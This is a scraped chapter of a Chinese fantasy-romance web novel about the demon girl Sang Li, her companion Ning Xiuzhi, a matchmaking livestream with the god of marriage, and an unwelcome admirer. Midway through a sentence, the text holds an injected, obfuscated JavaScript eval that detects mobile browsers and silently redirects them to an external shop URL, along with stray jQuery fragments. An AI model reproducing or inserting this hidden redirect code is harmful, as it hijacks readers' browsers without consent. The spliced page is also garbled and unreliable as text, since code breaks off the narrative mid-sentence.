“早知道这么麻烦,当初就该把你关起来,别让任何人接触。”

    忍着窒息,宁修执埋头硬生生将那只手腕咬碎,他的尖牙,在此刻染着滚烫流动的鲜血。

    第二道雷电应声而起,桑里的头狠狠磕在地上。

    玄零和灵儿只能先上,然而,身旁闪去了一个更快的黑影。

    “成为我的灵药,是你们这些凡人俗子的荣幸。”

    “歪门邪道迟早死光光。”桑里在心里骂了他几百遍,反口咬在他的手腕上,惹得那人抬手就要打她。

    骤然袭来一阵大风吹散宫内的灰烬,桑里渐渐看清了宁修执的身影,故意大喊一声:“相公!”

    冰冷的极风刮过,那人还没反应过来就被一脚踹飞,倒在地上口吐鲜血。

    “你终于来了啊。”桑里立刻哭唧唧贴上去,疯狂给他使眼色,“就是这个神经病,要抢你娘子嘞。”

    本来因为她乱跑宁修执已经气炸了肺,但被她的演技逗得气消了,面上冷着,实际拎着她的后颈往身后撇。

    “毕隐仇,好好解释一下你的百年之约。”宁修执对地上那人说。

    “你不都看到了吗?”

    桑里一脸茫然,看着毕隐仇笑着爬起来继续说:“你为了这小美人要跟我作对?这不像你啊。”

    “费不着你点评,老乌龟。”宁修执自然地揽住桑里的肩膀,往外走,“眼睛擦亮一点,她是我护的。”

    不等毕隐仇开口,桑里突然拉着宁修执的手拼命跑,还不忘拽上姗姗来迟的玄零和灵儿。

    “你干嘛?——”

    宁修执话未问完,一声巨响在身后炸开,巨大的冲击力把两人轰飞,好在宁修执及时变身翼龙接住他们,才安全逃脱。

    “靠!你要炸死我啊?”

    “我也没想到那炸弹这么有威力嘛……”桑里抱着他的角瑟瑟发抖,自己都吓得不轻。

    玄零和灵儿紧紧相拥,“再跑慢点我们都要死一起了喂!”

    飞跃过山丘,宁修执问:“你什么时候有炸弹了?你有法力?”

    “我存的可塑性胶囊。“桑里拍拍自己背着的小兜子,“每一颗都可以自定义。”

    经过林子上空时,桑里看到了那帮绑架她的人,于是叫他飞慢一点,在众目睽睽之下丢下一颗粪便胶囊。

    “都怪你们几个,差点害死我。”

    看着那几人尖叫着无处躲闪,桑里邪恶地笑了:“解气!”

    “有体面一点的方式吗?”宁修执满是嫌弃。

    一旁的灵儿死死捂住鼻子,“没想到你是这样的主人。”

    天将黑未黑时,两人找了一家小客栈住下,什么都是宁修执付,吃饭时,宁修执摆了三双碗筷,对她说:“我有一个朋友要来,你不介意吧?”

    “什么话,你朋友那就是我朋友啊。”桑里自从被他救后就特乖,加上自己分币没花,自然是无脑听从宁修执,给他捶肩捏腿的。

    忽然,宁修执抄起一碗酒水向后丢去,酒水稳稳当当落在一个少年手里。

    桑里这才发现,窗子不知什么时候坐着一个人,年龄与他们相仿。

    这就是他的朋友了吧?

    月光下云莱跳下窗子走来:“呦,这客栈还有此等服务,你小子会享受啊。”

    桑里刚要反驳,就被宁修执抢先:“别乱说,她是我朋友。”

    桑里没和他计较,哪想云莱简直是一个大话唠,几碗酒水下肚就无所不聊,还十分自来熟,不仅毫不吝啬捧杀一波桑里,还贬低宁修执,才炫耀自己。

    “小里子,你跟着我们真是跟对人了,就没人能伤害你。你见过那种降妖镜吧?……没错!我就是镜神,见魔噬魔,见妖杀妖的镜神!”说着,云莱激动地跳了起来。

    桌子和椅子弹了一下,空气一时有些安静。

    桑里差点压不住笑,瞥了一眼无语翻白眼的宁修执,弱弱地说:“呃……哥,我就是妖。”

    看着他当场石化,忍了他很久的宁修执才补刀:“装大头。”

    “Sorry啊!”云莱讪讪地笑,“我刚才声音有点大了,不过你这小子不是降妖的吗?朋友?”

    小手一指,矛头成功对向宁修执,“你以为我是你,这么有‘职业操守’,我看你这种人就是离入魔不久了。”

    看着两人互扯自理,越扯越远,桑里只觉得好玩,她第一次觉得有朋友原来是这么一种感觉,舒心,温暖,以及那股从未有过无法用已知词语模棱的感受,一点一点,源源不断流向她的心脏。

    没关系,像我这样不懂世事情事的小妖,用心记住,也可以。

    菜碟和酒碗被洗净堆放整齐摆在桌上,月光慢慢躺在寂静的枕头旁,窗子时而有萤火虫路过,点燃每一个梦境。

    听过桑里和宁修执的遭遇后,云莱决定与他们同行,他在人间生活很久了,比桑里他们都有经验,大概在人间靠什么方式赚钱。

    既要门槛不高,还不需要成本,云莱只能想到直播了,几人商讨几番,打算创新一条自己的赛道——月老姻缘直播。

    “月老会帮我们吗?”桑里跟着他们身边,问。

    云莱一脸笃定,有理有据:“现在牵线多难啊,估计也老玩意也闲得慌,我们这是给他增加业绩。”

    “没错,时代在变化,不少的神明都近乎失业了。”宁修执附和。

    三人来到一颗姻缘树下,用通神的方法召唤出月老,她的红线在手里都打结了,听说自己有可能复业后,更为激动:“真的吗?可是我们该怎么做呀?”

    三人相视一笑,转头把月老拉到了镜头前,月老姻缘直播,无非是在赶上了时代前进的步伐。

    “各位亲朋好友们,欢迎来到月老姻缘直播,想要查询自己的正缘的朋友们,一个啤酒就可以上麦哦。”

    桑里和云莱负责直播气氛,宁修执负责镜头,月老嘛,自然是直播现场算姻缘了。

    出于初做直播的原因,几人还不太懂直播的套路,忙活一天第一场下来,并没有什么数据。

    “这数据,好像不太理想啊。”

    桑里嗓子都累冒烟了,这会哑着,安慰月老:“没关系,熟能生巧,我再研究一下怎么吸引更多网友吧。”

    “对呀别放弃,我们还有时间。”云莱说。

    “今天就先休息吧。”说完,宁修执带头第一个走了,月老和云莱

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832624|211354||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    也走了。

    只剩桑里拿着相机心不在焉地跟在后面,她反复观摩那些高流量的直播间,但都不是她这个赛道的,如果没有曝光,就没有流量,二者相互影响,不就是死循环么?

    桑里找了一处树荫,安安静静分析直播数据,丝毫没有察觉楼上窗口的两个影子。

    “我认识你很多年了吧,从没想过,你会结交一个小妖做朋友。”云莱看着目光专注在桑里的宁修执,轻轻一笑,“你到底是怎么想的。”

    “不知道。”宁修执只是轻轻回绝,“灵珠在她身上,她有理,她要怎么闹就怎么闹吧。”

    “你这话就不对了,我倒觉得她真能干成大事,你看她,多认真,她是不是干什么事都那么认真啊?”

    闻此,宁修执沉默了好一会,他的视线仍然在桑里身上,思绪却早已飞远。

    关于桑里的缺点,他能说出一大堆不重复的,虽然不是致命伤,可他真正正视过眼前这个小女孩吗?

    他很想说,她有两颗真心,一颗认真,一颗天真,她听信一个流言独自冒着危险进山,听信一个人会承诺带她找灵珠,为他放牛做马,也不大吵大闹……

    这个世界错综复杂,还能记起,一切故事的开头不过是一个小妖想要一颗灵珠,那么简单的想法,却衍生出了一系列蝴蝶效应的故事,直到不可再逆,越走越远。

    那么多在心里波涛翻涌的话语,到底都被困在“沉默”的边边框框里。

    “不知道。”直至桑里离开视线,宁修执也只是说了这三个字。

    桑里低头看相机,撞上了一个人的胸膛,抬头时眸底映入一双黑眸。

    “你就是那个什么……月老姻缘直播?我看了。”对方先开口。

    桑里很意外,“你真顺着网线来打我啊?我没干啥吧。”

    “你想多了小妞,我只是刚好在这附近而已,认识一下呗,我叫刘象城。”他的语气挑逗,笑容和称呼都让桑里很不舒服。

    出于礼貌,她轻轻说,“桑里,你有事吗?”

    “只是觉得你的直播间很有意思,很逗人笑,继续加油。”

    不知为什么,桑里觉得他语气怪怪的,“谢谢。”

    她说完,转身离去,却被一把拽了回来,“你干嘛?”

    桑里有点疑惑,对方立刻松手,“不好意思啊条件反射,我只是想认识认识你而已。”

    “我还有事,下次聊吧,我都记得你叫刘象城了。”桑里说着,还要走。

    但刘象城一直碍着她,“你的直播,我还有很多问题呢——”

    “他谁啊。”

    巷口那,宁修执的影子长长地落在两人身上,语气平和,又带着点微妙的意味。

    桑里跑到他身边,“不认识,说是……粉丝?”

    “别误会大兄弟,我就想给她支点招而已。”

    宁修执盯着刘象城好一会,才说:“不劳烦你了,请便。”

    说罢,桑里就被他拉走了,她还没反应过来,就被宁修执扣住后颈拉到他眼前,他板着一张严肃脸,好像桑里又犯了什么滔天大罪一样。

    “在这里,除了我,你谁都不要过度接触知道吗?”他说。